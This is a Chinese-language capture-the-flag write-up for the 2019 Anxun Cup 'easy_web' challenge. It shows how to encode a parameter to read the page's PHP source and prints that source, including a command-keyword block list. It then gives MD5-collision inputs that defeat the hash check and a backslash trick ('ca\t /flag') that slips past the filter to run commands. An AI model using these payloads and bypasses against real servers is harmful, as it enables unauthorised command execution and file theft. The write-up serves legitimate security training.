1. 程式人生 > 實用技巧 >[安洵杯 2019]easy_web

[安洵杯 2019]easy_web

檢視URL,發現img引數後面應該是base64加密,嘗試解碼

http://0ec6d84a-930a-4d8a-8aeb-10862f2da5ee.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd

base64解密-》base64解密-》hex進位制轉換

MzUzNTM1MmU3MDZlNj
3535352e706e
555.pn

可以猜測img引數可能存在檔案包含漏洞,將index.php進行加密
text轉化為hex-》base64加密-》base64加密

696E6465782E706870
Njk2RTY0NjU3ODJFNzA2ODcw
TmprMlJUWTBOalUzT0RKRk56QTJPRGN3

輸入加密後的URL,右鍵檢視原始碼將base64部分進行解碼便可得到程式碼

http://0ec6d84a-930a-4d8a-8aeb-10862f2da5ee.node3.buuoj.cn/index.php?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&cmd=
 1 <?php
 2 error_reporting(E_ALL || ~ E_NOTICE);
 3 header('content-type:text/html;charset=utf-8');
 4 $cmd = $_GET['cmd'];
 5 if (!isset($_GET['img']) || !isset
($_GET['cmd'])) 6 header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); 7 $file = hex2bin(base64_decode(base64_decode($_GET['img']))); 8 9 $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); 10 if (preg_match("/flag/i", $file)) { 11 echo '<img src ="./ctf3.jpeg">';
12 die("xixi~ no flag"); 13 } else { 14 $txt = base64_encode(file_get_contents($file)); 15 echo "<img src='data:image/gif;base64," . $txt . "'></img>"; 16 echo "<br>"; 17 } 18 echo $cmd; 19 echo "<br>"; 20 if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { 21 echo("forbid ~"); 22 echo "<br>"; 23 } else { 24 if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { 25 echo `$cmd`; 26 } else { 27 echo ("md5 is funny ~"); 28 } 29 } 30 31 ?> 32 <html> 33 <style> 34 body{ 35 background:url(./bj.png) no-repeat center center; 36 background-size:cover; 37 background-attachment:fixed; 38 background-color:#CCCCCC; 39 } 40 </style> 41 <body> 42 </body> 43 </html>

程式碼第20行過濾了系統命令等關鍵字,但是沒有過濾dir。程式碼第24行可以發現比較md5時,進行了強制型別轉換。

MD5強型別的繞過

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

輸入如下URL,執行dir命令

http://0ec6d84a-930a-4d8a-8aeb-10862f2da5ee.node3.buuoj.cn/index.php?img=&cmd=dir

右鍵檢視原始碼,發現flag並沒有在當前目錄下

根目錄查詢,發現flag檔案

http://0ec6d84a-930a-4d8a-8aeb-10862f2da5ee.node3.buuoj.cn/index.php?img=&cmd=dir /

因為過濾了cat,但是可以通過\反斜槓進行繞過

http://0ec6d84a-930a-4d8a-8aeb-10862f2da5ee.node3.buuoj.cn/index.php?img=&cmd=ca\t /flag